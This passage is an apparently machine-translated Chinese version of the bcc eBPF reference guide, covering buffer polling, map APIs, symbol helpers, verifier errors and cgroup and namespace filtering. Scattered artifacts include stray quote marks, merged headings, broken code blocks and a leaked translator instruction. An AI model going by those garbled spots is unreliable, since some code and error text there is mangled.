<li>map 汇总: 使用 items() 或 print_log2_hist(),在 Maps 部分有介绍。</li>
</ul>
<h3 id="1-perf_buffer_poll"><a class="header" href="#1-perf_buffer_poll">1. perf_buffer_poll()</a></h3>
<p>语法: <code>BPF.perf_buffer_poll(timeout=T)</code></p>
<p>该方法从所有打开的 perf 环形缓冲区中轮询,并对每个条目调用在调用 open_perf_buffer 时提供的回调函数。</p>
<p>timeout 参数是可选的,并以毫秒为单位计量。如果未提供,则轮询将无限期进行。</p>
<p>示例:</p>
<pre><code class="language-Python"># 循环调用带有回调函数 print_event 的 open_perf_buffer
b[&quot;events&quot;].open_perf_buffer(print_event)
while 1:
try:
b.perf_buffer_poll()
except KeyboardInterrupt:
exit()
</code></pre>
<p>内联示例:
<a href="https://github.com/iovisor/bcc/blob/v0.9.0/examples/tracing/hello_perf_output.py#L55">代码</a>&quot;.&quot;<a href="https://github.com/iovisor/bcc/search?q=perf_buffer_poll+path%3Aexamples+language%3Apython&amp;type=Code">搜索 /示例</a>,
<a href="https://github.com/iovisor/bcc/search?q=perf_buffer_poll+path%3Atools+language%3Apython&amp;type=Code">搜索 /工具</a></p>
<h3 id="2-ring_buffer_poll"><a class="header" href="#2-ring_buffer_poll">2. ring_buffer_poll()</a></h3>
<p>语法: <code>BPF.ring_buffer_poll(timeout=T)</code></p>
<p>这个方法从所有已打开的ringbuf环形缓冲区中轮询数据对每个条目调用在调用open_ring_buffer时提供的回调函数。</p>
<p>timeout参数是可选的以毫秒为单位测量。如果没有指定轮询将持续到没有更多的数据或回调函数返回负值。</p>
<p>示例:</p>
<pre><code class="language-Python"># 循环使用回调函数print_event
b[&quot;events&quot;].open_ring_buffer(print_event)
while 1:
try:
b.ring_buffer_poll(30)
except KeyboardInterrupt:
exit();
</code></pre>
<p>示例:
<a href="https://github.com/iovisor/bcc/search?q=ring_buffer_poll+path%3Aexamples+language%3Apython&amp;type=Code">搜索 /示例</a>,</p>
<h3 id="3-ring_buffer_consume"><a class="header" href="#3-ring_buffer_consume">3. ring_buffer_consume()</a></h3>
<p>语法: <code>BPF.ring_buffer_consume()</code></p>
<p>这个方法从所有已打开的ringbuf环形缓冲区中消费数据对每个条目调用在调用open_ring_buffer时提供的回调函数。</p>
<p><code>ring_buffer_poll</code>不同,这个方法在尝试消费数据之前<strong>不会轮询数据</strong>。这样可以减少延迟但会增加CPU消耗。如果不确定使用哪种方法建议使用<code>ring_buffer_poll</code></p>
<p>示例:</p>
<pre><code class="language-Python"># 循环使用回调函数print_event
b[&quot;events&quot;].open_ring_buffer(print_event)
while 1:
try:
b.ring_buffer_consume()
except KeyboardInterrupt:
exit();
</code></pre>
<p>示例:
<a href="https://github.com/iovisor/bcc/search?q=ring_buffer_consume+path%3Aexamples+language%3Apython&amp;type=Code">搜索 /示例</a>,</p>
<h2 id="map-apis"><a class="header" href="#map-apis">Map APIs</a></h2>
<p>Maps是BPF数据存储器在bcc中用于实现表、哈希和直方图等更高层次的对象。</p>
<h3 id="1-get_table"><a class="header" href="#1-get_table">1. get_table()</a></h3>
<p>语法: <code>BPF.get_table(name)</code>&quot;.返回一个table对象。由于可以将表格作为BPF项进行读取因此此功能不再使用。例如<code>BPF[name]</code></p>
<p>示例:</p>
<pre><code class="language-Python">counts = b.get_table(&quot;counts&quot;)
counts = b[&quot;counts&quot;]
</code></pre>
<p>这两者是等价的。</p>
<h3 id="2-open_perf_buffer"><a class="header" href="#2-open_perf_buffer">2. open_perf_buffer()</a></h3>
<p>语法:<code>table.open_perf_buffers(callback, page_cnt=N, lost_cb=None)</code></p>
<p>此操作基于BPF中定义的表格<code>BPF_PERF_OUTPUT()</code>将回调Python函数<code>callback</code>关联到在perf环形缓冲区中有数据可用时调用。这是从内核传输每个事件的数据到用户空间的推荐机制的一部分。可以通过<code>page_cnt</code>参数指定perf环形缓冲区的大小默认为8个页面必须是页数的2的幂次方。如果回调函数不能快速处理数据则可能丢失某些提交的数据。<code>lost_cb</code>用于记录/监视丢失的计数。如果<code>lost_cb</code>是默认的<code>None</code>值,则只会打印一行消息到<code>stderr</code></p>
<p>示例:</p>
<pre><code class="language-Python"># 处理事件
def print_event(cpu, data, size):
event = ct.cast(data, ct.POINTER(Data)).contents
[...]
# 循环通过回调函数打印事件
b[&quot;events&quot;].open_perf_buffer(print_event)
while 1:
try:
b.perf_buffer_poll()
except KeyboardInterrupt:
exit()
</code></pre>
<p>请注意传输的数据结构需要在BPF程序中以C方式声明。例如</p>
<pre><code class="language-C">// 在C中定义输出数据结构
struct data_t {
u32 pid;
u64 ts;
char comm[TASK_COMM_LEN];
};
BPF_PERF_OUTPUT(events);
[...]
</code></pre>
<p>在Python中您可以让bcc自动生成C声明中的数据结构建议方法</p>
<pre><code class="language-Python">def print_event(cpu, data, size):
event = b[&quot;events&quot;].event(data)
[...]
</code></pre>
<p>或者手动定义:</p>
<pre><code class="language-Python"># 在Python中定义输出数据结构
TASK_COMM_LEN = 16 # linux/sched.h
class Data(ct.Structure):
_fields_ = [(&quot;pid&quot;, ct.c_ulonglong),
(&quot;ts&quot;, ct.c_ulonglong),
(&quot;comm&quot;, ct.c_char * TASK_COMM_LEN)]&quot;。def print_event(cpu, data, size):
event = ct.cast(data, ct.POINTER(Data)).contents
[...]
在此处的示例中:
[code](https://github.com/iovisor/bcc/blob/v0.9.0/examples/tracing/hello_perf_output.py#L52),
[search /examples](https://github.com/iovisor/bcc/search?q=open_perf_buffer+path%3Aexamples+language%3Apython&amp;type=Code),
[search /tools](https://github.com/iovisor/bcc/search?q=open_perf_buffer+path%3Atools+language%3Apython&amp;type=Code)
### 3. items()
语法: ```table.items()```
返回一个表中的键数组。它可以与BPF_HASH映射一起使用从而获取并迭代键。
示例:
```Python
# 打印输出
print(&quot;%10s %s&quot; % (&quot;COUNT&quot;, &quot;STRING&quot;))
counts = b.get_table(&quot;counts&quot;)
for k, v in sorted(counts.items(), key=lambda counts: counts[1].value):
print(&quot;%10d \&quot;%s\&quot;&quot; % (v.value, k.c.encode('string-escape')))
</code></pre>
<p>此示例还使用<code>sorted()</code>方法按值排序。</p>
<p>在此处的示例中:
<a href="https://github.com/iovisor/bcc/search?q=items+path%3Aexamples+language%3Apython&amp;type=Code">search /examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=items+path%3Atools+language%3Apython&amp;type=Code">search /tools</a></p>
<h3 id="4-values"><a class="header" href="#4-values">4. values()</a></h3>
<p>语法: <code>table.values()</code></p>
<p>返回一个表中的值数组。</p>
<h3 id="5-clear"><a class="header" href="#5-clear">5. clear()</a></h3>
<p>语法: <code>table.clear()</code></p>
<p>清除表:删除所有条目。</p>
<p>示例:</p>
<pre><code class="language-Python"># 每秒打印映射摘要:
while True:
time.sleep(1)
print(&quot;%-8s\n&quot; % time.strftime(&quot;%H:%M:%S&quot;), end=&quot;&quot;)
dist.print_log2_hist(sym + &quot; return:&quot;)
dist.clear()
</code></pre>
<p>在此处的示例中:
<a href="https://github.com/iovisor/bcc/search?q=clear+path%3Aexamples+language%3Apython&amp;type=Code">search /examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=clear+path%3Atools+language%3Apython&amp;type=Code">search /tools</a></p>
<h3 id="6-items_lookup_and_delete_batch"><a class="header" href="#6-items_lookup_and_delete_batch">6. items_lookup_and_delete_batch()</a></h3>
<p>语法: <code>table.items_lookup_and_delete_batch()</code>。返回一个使用一次BPF系统调用在表中的键的数组。可以与BPF_HASH映射一起使用以获取和迭代键。还会清除表删除所有条目。
您应该使用table.items_lookup_and_delete_batch()而不是table.items()后跟table.clear()。它需要内核v5.6。</p>
<p>示例:</p>
<pre><code class="language-Python"># 每秒打印调用率:
print(&quot;%9s-%9s-%8s-%9s&quot; % (&quot;PID&quot;, &quot;COMM&quot;, &quot;fname&quot;, &quot;counter&quot;))
while True:
for k, v in sorted(b['map'].items_lookup_and_delete_batch(), key=lambda kv: (kv[0]).pid):
print(&quot;%9s-%9s-%8s-%9d&quot; % (k.pid, k.comm, k.fname, v.counter))
sleep(1)
</code></pre>
<h3 id="7-items_lookup_batch"><a class="header" href="#7-items_lookup_batch">7. items_lookup_batch()</a></h3>
<p>语法: <code>table.items_lookup_batch()</code></p>
<p>使用一次BPF系统调用返回表中的键数组。可以与BPF_HASH映射一起使用以获取和迭代键。
您应该使用table.items_lookup_batch()而不是table.items()。它需要内核v5.6。</p>
<p>示例:</p>
<pre><code class="language-Python"># 打印映射的当前值:
print(&quot;%9s-%9s-%8s-%9s&quot; % (&quot;PID&quot;, &quot;COMM&quot;, &quot;fname&quot;, &quot;counter&quot;))
while True:
for k, v in sorted(b['map'].items_lookup_batch(), key=lambda kv: (kv[0]).pid):
print(&quot;%9s-%9s-%8s-%9d&quot; % (k.pid, k.comm, k.fname, v.counter))
</code></pre>
<h3 id="8-items_delete_batch"><a class="header" href="#8-items_delete_batch">8. items_delete_batch()</a></h3>
<p>语法: <code>table.items_delete_batch(keys)</code></p>
<p>当keys为None时它会清除BPF_HASH映射的所有条目。它比table.clear()更有效因为它只生成一个系统调用。您可以通过给出一个键数组来删除映射的一个子集。这些键及其关联值将被删除。它需要内核v5.6。</p>
<p>参数:</p>
<ul>
<li>keys是可选的默认为None。</li>
</ul>
<h3 id="9-items_update_batch"><a class="header" href="#9-items_update_batch">9. items_update_batch()</a></h3>
<p>语法: <code>table.items_update_batch(keys, values)</code></p>
<p>使用新值更新所有提供的键。两个参数必须具有相同的长度并且在映射限制之内在1到最大条目之间。它需要内核v5.6。</p>
<p>参数:</p>
<ul>
<li>keys是要更新的键列表</li>
<li>values是包含新值的列表。### 10. print_log2_hist()</li>
</ul>
<p>语法: <code>table.print_log2_hist(val_type=&quot;value&quot;, section_header=&quot;Bucket ptr&quot;, section_print_fn=None)</code></p>
<p>以ASCII的形式打印一个表格作为log2直方图。该表必须以log2的形式存储可使用BPF函数<code>bpf_log2l()</code>完成。</p>
<p>参数:</p>
<ul>
<li>val_type: 可选,列标题。</li>
<li>section_header: 如果直方图有一个辅助键多个表格将被打印并且section_header可以用作每个表格的标题描述。</li>
<li>section_print_fn: 如果section_print_fn不为None则将传递给bucket值。</li>
</ul>
<p>示例:</p>
<pre><code class="language-Python">b = BPF(text=&quot;&quot;&quot;
BPF_HISTOGRAM(dist);
int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)
{
dist.increment(bpf_log2l(req-&gt;__data_len / 1024));
return 0;
}
&quot;&quot;&quot;)
[...]
b[&quot;dist&quot;].print_log2_hist(&quot;kbytes&quot;)
</code></pre>
<p>输出:</p>
<pre><code class="language-sh"> kbytes : count distribution
0 -&gt; 1 : 3 | |
2 -&gt; 3 : 0 | |
4 -&gt; 7 : 211 |********** |
8 -&gt; 15 : 0 | |
16 -&gt; 31 : 0 | |
32 -&gt; 63 : 0 | |
64 -&gt; 127 : 1 | |
128 -&gt; 255 : 800 |**************************************|
</code></pre>
<p>这个输出显示了一个多模式分布最大模式是128-&gt;255 kbytes计数为800。</p>
<p>这是一种高效的数据概括方法,因为概括是在内核中执行的,只有计数列被传递到用户空间。</p>
<p>实际示例:
<a href="https://github.com/iovisor/bcc/search?q=print_log2_hist+path%3Aexamples+language%3Apython&amp;type=Code">搜索 /examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=print_log2_hist+path%3Atools+language%3Apython&amp;type=Code">搜索 /tools</a></p>
<h3 id="11-print_linear_hist语法-tableprint_linear_histval_typevalue-section_headerbucket-ptr-section_print_fnnone"><a class="header" href="#11-print_linear_hist语法-tableprint_linear_histval_typevalue-section_headerbucket-ptr-section_print_fnnone">11. print_linear_hist()&quot;.语法: <code>table.print_linear_hist(val_type=&quot;value&quot;, section_header=&quot;Bucket ptr&quot;, section_print_fn=None)</code></a></h3>
<p>以ASCII字符形式打印一个线性直方图的表格。此功能旨在可视化小的整数范围例如0到100。</p>
<p>参数:</p>
<ul>
<li>val_type: 可选,列标题。</li>
<li>section_header: 如果直方图有一个二级键则会打印多个表格并且section_header可以用作每个表格的头部描述。</li>
<li>section_print_fn: 如果section_print_fn不为None则会将bucket的值传递给它。</li>
</ul>
<p>示例:</p>
<pre><code class="language-Python">b = BPF(text=&quot;&quot;&quot;
BPF_HISTOGRAM(dist);
int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)
{
dist.increment(req-&gt;__data_len / 1024);
return 0;
}
&quot;&quot;&quot;)
[...]
b[&quot;dist&quot;].print_linear_hist(&quot;kbytes&quot;)
</code></pre>
<p>输出:</p>
<pre><code class="language-sh"> kbytes : count distribution
0 : 3 |****** |
1 : 0 | |
2 : 0 | |
3 : 0 | |
4 : 19 |****************************************|
5 : 0 | |
6 : 0 | |
7 : 0 | |
8 : 4 |******** |
9 : 0 | |
10 : 0 | |
11 : 0 | |
12 : 0 | |
13 : 0 | |
14 : 0 | |
15 : 0 | |。
```### 16 : 2 |**** |
[...]
</code></pre>
<p>这是一种高效的数据汇总方式,因为汇总是在内核中执行的,只有计数列中的值传递到用户空间。</p>
<p>现场示例:
<a href="https://github.com/iovisor/bcc/search?q=print_linear_hist+path%3Aexamples+language%3Apython&amp;type=Code">搜索 /examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=print_linear_hist+path%3Atools+language%3Apython&amp;type=Code">搜索 /tools</a></p>
<h3 id="12-open_ring_buffer"><a class="header" href="#12-open_ring_buffer">12. open_ring_buffer()</a></h3>
<p>语法: <code>table.open_ring_buffer(callback, ctx=None)</code></p>
<p>此操作用于在BPF中定义为BPF_RINGBUF_OUTPUT()的表并将Python回调函数<code>callback</code>与ringbuf环形缓冲区中有可用数据时调用相连。这是从内核向用户空间传输每个事件数据的新Linux 5.8+推荐机制的一部分。不同于perf缓冲区ringbuf大小在BPF程序中指定作为<code>BPF_RINGBUF_OUTPUT</code>宏的一部分。如果回调函数处理数据不够快,可能会丢失一些提交的数据。在这种情况下,事件应该更频繁地进行轮询和/或增加环形缓冲区的大小。</p>
<p>示例:</p>
<pre><code class="language-Python"># 处理事件
def print_event(ctx, data, size):
event = ct.cast(data, ct.POINTER(Data)).contents
[...]
# 循环并使用print_event回调函数
b[&quot;events&quot;].open_ring_buffer(print_event)
while 1:
try:
b.ring_buffer_poll()
except KeyboardInterrupt:
exit()
</code></pre>
<p>请注意在BPF程序中传输的数据结构需要在C中声明。例如:</p>
<pre><code class="language-C">// 在C中定义输出数据结构
struct data_t {
u32 pid;
u64 ts;
char comm[TASK_COMM_LEN];
};
BPF_RINGBUF_OUTPUT(events, 8);
[...]
</code></pre>
<p>在Python中您可以让bcc自动从C的声明中生成数据结构推荐:</p>
<pre><code class="language-Python">def print_event(ctx, data, size):
event = b[&quot;events&quot;].event(data)
[...]
</code></pre>
<p>或者手动定义:</p>
<pre><code class="language-Python&quot;.# 在Python中定义输出数据结构">TASK_COMM_LEN = 16 # linux/sched.h
class Data(ct.Structure):
_fields_ = [(&quot;pid&quot;, ct.c_ulonglong),
(&quot;ts&quot;, ct.c_ulonglong),
(&quot;comm&quot;, ct.c_char * TASK_COMM_LEN)]
def print_event(ctx, data, size):
event = ct.cast(data, ct.POINTER(Data)).contents
[...]
</code></pre>
<p>在原地的示例:
<a href="https://github.com/iovisor/bcc/search?q=open_ring_buffer+path%3Aexamples+language%3Apython&amp;type=Code">在/examples中搜索</a>,</p>
<h3 id="13-push"><a class="header" href="#13-push">13. push()</a></h3>
<p>语法: <code>table.push(leaf, flags=0)</code></p>
<p>将元素推入堆栈或队列表。如果操作不成功会引发异常。传递QueueStack.BPF_EXIST作为标志会使队列或堆栈丢弃最旧的元素如果表已满。</p>
<p>在原地的示例:
<a href="https://github.com/iovisor/bcc/search?q=push+path%3Atests+language%3Apython&amp;type=Code">在/tests中搜索</a>,</p>
<h3 id="14-pop"><a class="header" href="#14-pop">14. pop()</a></h3>
<p>语法: <code>leaf = table.pop()</code></p>
<p>从堆栈或队列表中弹出一个元素。与<code>peek()</code>不同,<code>pop()</code>在返回元素之前会将其从表中移除。如果操作不成功会引发KeyError异常。</p>
<p>在原地的示例:
<a href="https://github.com/iovisor/bcc/search?q=pop+path%3Atests+language%3Apython&amp;type=Code">在/tests中搜索</a>,</p>
<h3 id="15-peek"><a class="header" href="#15-peek">15. peek()</a></h3>
<p>语法: <code>leaf = table.peek()</code></p>
<p>查看堆栈或队列表头部的元素。与<code>pop()</code>不同,<code>peek()</code>不会将元素从表中移除。如果操作不成功,会引发异常。</p>
<p>在原地的示例:
<a href="https://github.com/iovisor/bcc/search?q=peek+path%3Atests+language%3Apython&amp;type=Code">在/tests中搜索</a>,</p>
<h2 id="辅助方法"><a class="header" href="#辅助方法">辅助方法</a></h2>
<p>一些由bcc提供的辅助方法。请注意因为我们在Python中我们可以导入任何Python库及其方法包括例如argparse、collections、ctypes、datetime、re、socket、struct、subprocess、sys和time等库。</p>
<h3 id="1-ksym"><a class="header" href="#1-ksym">1. ksym()</a></h3>
<p>语法: <code>BPF.ksym(addr)</code></p>
<p>将内核内存地址转换为内核函数名称,并返回该名称。</p>
<p>示例:</p>
<pre><code class="language-Python&quot;。">格式: 只返回转换后的内容,不包括原始文本。```markdown
print(&quot;内核函数:&quot; + b.ksym(addr))
</code></pre>
<p>例子:
<a href="https://github.com/iovisor/bcc/search?q=ksym+path%3Aexamples+language%3Apython&amp;type=Code">搜索 /examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=ksym+path%3Atools+language%3Apython&amp;type=Code">搜索 /tools</a></p>
<h3 id="2-ksymname"><a class="header" href="#2-ksymname">2. ksymname()</a></h3>
<p>语法:<code>BPF.ksymname(name)</code></p>
<p>将内核名称翻译为地址。这是ksym的反向过程。当函数名称未知时返回-1。</p>
<p>例子:</p>
<pre><code class="language-Python">print(&quot;内核地址:%x&quot; % b.ksymname(&quot;vfs_read&quot;))
</code></pre>
<p>例子:
<a href="https://github.com/iovisor/bcc/search?q=ksymname+path%3Aexamples+language%3Apython&amp;type=Code">搜索 /examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=ksymname+path%3Atools+language%3Apython&amp;type=Code">搜索 /tools</a></p>
<h3 id="3-sym"><a class="header" href="#3-sym">3. sym()</a></h3>
<p>语法:<code>BPF.sym(addr, pid, show_module=False, show_offset=False)</code></p>
<p>将内存地址翻译为pid的函数名称并返回。小于零的pid将访问内核符号缓存。<code>show_module</code><code>show_offset</code>参数控制是否显示函数所在的模块以及是否显示从符号开头的指令偏移量。这些额外参数的默认值为<code>False</code></p>
<p>例子:</p>
<pre><code class="language-python">print(&quot;函数:&quot; + b.sym(addr, pid))
</code></pre>
<p>例子:
<a href="https://github.com/iovisor/bcc/search?q=sym+path%3Aexamples+language%3Apython&amp;type=Code">搜索 /examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=sym+path%3Atools+language%3Apython&amp;type=Code">搜索 /tools</a></p>
<h3 id="4-num_open_kprobes"><a class="header" href="#4-num_open_kprobes">4. num_open_kprobes()</a></h3>
<p>语法:<code>BPF.num_open_kprobes()</code></p>
<p>返回打开的k[ret]probe的数量。当使用event_re附加和分离探测点时可以发挥作用。不包括perf_events读取器。</p>
<p>例子:</p>
<pre><code class="language-python">b.attach_kprobe(event_re=pattern, fn_name=&quot;trace_count&quot;)
matched = b.num_open_kprobes()
if matched == 0:
print(&quot;0个函数与\&quot;%s\&quot;匹配。程序退出。&quot; % args.pattern)
exit()
</code></pre>
<p>例子:&quot;<a href="https://github.com/iovisor/bcc/search?q=num_open_kprobes+path%3Aexamples+language%3Apython&amp;type=Code">搜索 /示例</a>,
<a href="https://github.com/iovisor/bcc/search?q=num_open_kprobes+path%3Atools+language%3Apython&amp;type=Code">搜索 /工具</a></p>
<h3 id="5-get_syscall_fnname"><a class="header" href="#5-get_syscall_fnname">5. get_syscall_fnname()</a></h3>
<p>语法: <code>BPF.get_syscall_fnname(name : str)</code></p>
<p>返回系统调用的相应内核函数名。该辅助函数将尝试不同的前缀并与系统调用名连接起来。请注意返回值可能在不同版本的Linux内核中有所不同有时会引起问题。 (见 <a href="https://github.com/iovisor/bcc/issues/2590">#2590</a></p>
<p>示例:</p>
<pre><code class="language-python">print(&quot;在内核中,%s 的函数名是 %s&quot; % (&quot;clone&quot;, b.get_syscall_fnname(&quot;clone&quot;)))
# sys_clone 或 __x64_sys_clone 或 ...
</code></pre>
<p>现场示例:
<a href="https://github.com/iovisor/bcc/search?q=get_syscall_fnname+path%3Aexamples+language%3Apython&amp;type=Code">搜索 /示例</a>,
<a href="https://github.com/iovisor/bcc/search?q=get_syscall_fnname+path%3Atools+language%3Apython&amp;type=Code">搜索 /工具</a></p>
<h1 id="bpf-错误"><a class="header" href="#bpf-错误">BPF 错误</a></h1>
<p>请参阅内核源码中的“Understanding eBPF verifier messages”部分位于 Documentation/networking/filter.txt。</p>
<h2 id="1-invalid-mem-access"><a class="header" href="#1-invalid-mem-access">1. Invalid mem access</a></h2>
<p>这可能是因为试图直接读取内存而不是操作BPF堆栈上的内存。所有对内核内存的读取必须通过 bpf_probe_read_kernel() 传递以将内核内存复制到BPF堆栈中在一些简单关联的情况下bcc 重写器可以自动完成。bpf_probe_read_kernel() 执行所有必要的检查。</p>
<p>示例:</p>
<pre><code class="language-sh">bpf: Permission denied
0: (bf) r6 = r1
1: (79) r7 = *(u64 *)(r6 +80)
2: (85) call 14
3: (bf) r8 = r0
[...]
23: (69) r1 = *(u16 *)(r7 +16)
R7 invalid mem access 'inv'
Traceback (most recent call last):
File &quot;./tcpaccept&quot;, line 179, in &lt;module&gt;
b = BPF(text=bpf_text)
File &quot;/usr/lib/python2.7/dist-packages/bcc/__init__.py&quot;, line 172, in __init__
self._trace_autoload()&quot;.
/usr/lib/python2.7/dist-packages/bcc/__init__.py&quot;,第 612 行_trace_autoload 中:
fn = self.load_func(func_name, BPF.KPROBE)
文件 &quot;/usr/lib/python2.7/dist-packages/bcc/__init__.py&quot;,第 212 行load_func 中:
raise Exception(&quot;加载 BPF 程序 %s 失败&quot; % func_name)
Exception: 加载 BPF 程序 kretprobe__inet_csk_accept 失败
</code></pre>
<h2 id="2-无法从专有程序调用-gpl-only-函数"><a class="header" href="#2-无法从专有程序调用-gpl-only-函数">2. 无法从专有程序调用 GPL-only 函数</a></h2>
<p>当非 GPL BPF 程序调用 GPL-only 辅助函数时,会出现此错误。要修复此错误,请勿在专有 BPF 程序中使用 GPL-only 辅助函数,或者将 BPF 程序重新授权为 GPL-compatible 许可证。请查看哪些 <a href="https://github.com/iovisor/bcc/blob/master/docs/kernel-versions.md#helpers">BPF helpers</a> 是 GPL-only 的,并且哪些许可证被视为 GPL-compatible。</p>
<p>示例,从专有程序(<code>#define BPF_LICENSE Proprietary</code>)调用 <code>bpf_get_stackid()</code>,一种 GPL-only 的 BPF helper</p>
<pre><code class="language-sh">bpf: 加载程序失败:无效参数
[...]
8: (85) 调用 bpf_get_stackid#27
无法从专有程序调用 GPL-only 函数
</code></pre>
<h1 id="环境变量"><a class="header" href="#环境变量">环境变量</a></h1>
<h2 id="1-内核源代码目录"><a class="header" href="#1-内核源代码目录">1. 内核源代码目录</a></h2>
<p>eBPF 程序编译需要内核源代码或已编译的内核头。如果你的内核源代码位于无法被 BCC 找到的非标准位置,可以通过将 <code>BCC_KERNEL_SOURCE</code> 设置为该路径的绝对路径来为 BCC 提供所需的位置信息。</p>
<h2 id="2-内核版本覆盖"><a class="header" href="#2-内核版本覆盖">2. 内核版本覆盖</a></h2>
<p>默认情况下BCC 将 <code>LINUX_VERSION_CODE</code> 存储在生成的 eBPF 对象中,并在加载 eBPF 程序时传递给内核。有时,这可能非常不方便,尤其是当内核略有更新时,比如 LTS 内核发布。微小的不匹配几乎不会导致加载的 eBPF 程序出现任何问题。通过将 <code>BCC_LINUX_VERSION_CODE</code> 设置为正在运行的内核版本可以绕过验证内核版本的检查。这对于程序是必需的。使用kprobes的程序需要以<code>(VERSION * 65536) + (PATCHLEVEL * 256) + SUBLEVEL</code>的格式进行编码。例如,如果当前运行的内核是<code>4.9.10</code>,则可以设置<code>export BCC_LINUX_VERSION_CODE=264458</code>以成功地覆盖内核版本检查。</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="特殊过滤"><a class="header" href="#特殊过滤">特殊过滤</a></h1>
<p>某些工具具有特殊的过滤能力,主要用例是跟踪运行在容器中的进程,但这些机制是通用的,也可以在其他情况下使用。</p>
<h2 id="按-cgroups过滤"><a class="header" href="#按-cgroups过滤">按 cgroups过滤</a></h2>
<p>某些工具有一个通过引用外部管理的固定的BPF哈希映射来按cgroup过滤的选项。</p>
<p>命令示例:</p>
<pre><code class="language-sh"># ./opensnoop --cgroupmap /sys/fs/bpf/test01
# ./execsnoop --cgroupmap /sys/fs/bpf/test01
# ./tcpconnect --cgroupmap /sys/fs/bpf/test01
# ./tcpaccept --cgroupmap /sys/fs/bpf/test01
# ./tcptracer --cgroupmap /sys/fs/bpf/test01
</code></pre>
<p>上述命令将仅显示属于一个或多个cgroup的进程的结果这些cgroup的ID由<code>bpf_get_current_cgroup_id()</code>返回并存在固定的BPF哈希映射中。</p>
<p>通过以下方式创建BPF哈希映射</p>
<pre><code class="language-sh"># bpftool map create /sys/fs/bpf/test01 type hash key 8 value 8 entries 128 \
name cgroupset flags 0
</code></pre>
<p>要在新cgroup中获取一个shell可以使用</p>
<pre><code class="language-sh"># systemd-run --pty --unit test bash
</code></pre>
<p>该shell将在cgroup<code>/sys/fs/cgroup/unified/system.slice/test.service</code>中运行。</p>
<p>可以使用<code>name_to_handle_at()</code>系统调用来发现cgroup ID。在examples/cgroupid中您可以找到一个获取cgroup ID的程序示例。</p>
<pre><code class="language-sh"># cd examples/cgroupid
# make
# ./cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service
</code></pre>
<p>或者使用Docker</p>
<pre><code class="language-sh"># cd examples/cgroupid
# docker build -t cgroupid .
# docker run --rm --privileged -v /sys/fs/cgroup:/sys/fs/cgroup \
cgroupid cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service
</code></pre>
<p>这将以主机的字节序(hexadecimal string)打印出cgroup ID例如<code>77 16 00 00 01 00 00 00</code></p>
<pre><code class="language-sh"># FILE=/sys/fs/bpf/test01
# CGROUPID_HEX=&quot;77 16 00 00 01 00 00 00&quot;
# bpftool map update pinned $FILE key hex $CGROUPID_HEX value hex 00 00 00 00 00 00 00 00 any
</code></pre>
<p>现在通过systemd-run启动的shell的cgroup ID已经存在于BPF哈希映射中bcc工具将显示来自该shell的结果。可以添加和。从BPF哈希映射中删除而不重新启动bcc工具。</p>
<p>这个功能对于将bcc工具集成到外部项目中非常有用。</p>
<h2 id="按命名空间选择挂载点进行过滤"><a class="header" href="#按命名空间选择挂载点进行过滤">按命名空间选择挂载点进行过滤</a></h2>
<p>BPF哈希映射可以通过以下方式创建</p>
<pre><code class="language-sh"># bpftool map create /sys/fs/bpf/mnt_ns_set type hash key 8 value 4 entries 128 \
name mnt_ns_set flags 0
</code></pre>
<p>仅执行<code>execsnoop</code>工具,过滤挂载命名空间在<code>/sys/fs/bpf/mnt_ns_set</code>中:</p>
<pre><code class="language-sh"># tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set
</code></pre>
<p>在新的挂载命名空间中启动一个终端:</p>
<pre><code class="language-sh"># unshare -m bash
</code></pre>
<p>使用上述终端的挂载命名空间ID更新哈希映射</p>
<pre><code class="language-sh">FILE=/sys/fs/bpf/mnt_ns_set
if [ $(printf '\1' | od -dAn) -eq 1 ]; then
HOST_ENDIAN_CMD=tac
else
HOST_ENDIAN_CMD=cat
fi
NS_ID_HEX=&quot;$(printf '%016x' $(stat -Lc '%i' /proc/self/ns/mnt) | sed 's/.\{2\}/&amp;\n/g' | $HOST_ENDIAN_CMD)&quot;
bpftool map update pinned $FILE key hex $NS_ID_HEX value hex 00 00 00 00 any
</code></pre>
<p>在这个终端中执行命令:</p>
<pre><code class="language-sh"># ping kinvolk.io
</code></pre>
<p>你会看到在上述你启动的<code>execsnoop</code>终端中,这个调用被记录下来:</p>
<pre><code class="language-sh"># tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set
[sudo] password for mvb:
PCOMM PID PPID RET ARGS
ping 8096 7970 0 /bin/ping kinvolk.io
```。
</code></pre>
<div style="break-before: page; page-break-before: always;"></div><h1 id="bcc-教程"><a class="header" href="#bcc-教程">bcc 教程</a></h1>
<p>本教程介绍如何使用<a href="https://github.com/iovisor/bcc">bcc</a>工具快速解决性能、故障排除和网络问题。如果你想开发新的bcc工具请参考<a href="bcc-documents/tutorial_bcc_python_developer.html">tutorial_bcc_python_developer.md</a>教程。</p>
<p>本教程假设bcc已经安装好并且你可以成功运行像execsnoop这样的工具。参见<a href="https://github.com/iovisor/bcc/tree/master/INSTALL.md">INSTALL.md</a>。这些功能是在Linux 4.x系列中增加的。</p>
<h2 id="可观察性"><a class="header" href="#可观察性">可观察性</a></h2>
<p>一些快速的收获。</p>
<h3 id="0-使用bcc之前"><a class="header" href="#0-使用bcc之前">0. 使用bcc之前</a></h3>
<p>在使用bcc之前你应该从Linux基础知识开始。可以参考<a href="https://netflixtechblog.com/linux-performance-analysis-in-60-000-milliseconds-accc10403c55">Linux Performance Analysis in 60,000 Milliseconds</a>文章,其中介绍了以下命令:</p>
<ol>
<li>uptime</li>
<li>dmesg | tail</li>
<li>vmstat 1</li>
<li>mpstat -P ALL 1</li>
<li>pidstat 1</li>
<li>iostat -xz 1</li>
<li>free -m</li>
<li>sar -n DEV 1</li>
<li>sar -n TCP,ETCP 1</li>
<li>top</li>
</ol>
<h3 id="1-性能分析"><a class="header" href="#1-性能分析">1. 性能分析</a></h3>
<p>这是一个用于性能调查的通用检查清单,首先有一个列表,然后详细描述:</p>
<ol>
<li>execsnoop</li>
<li>opensnoop</li>
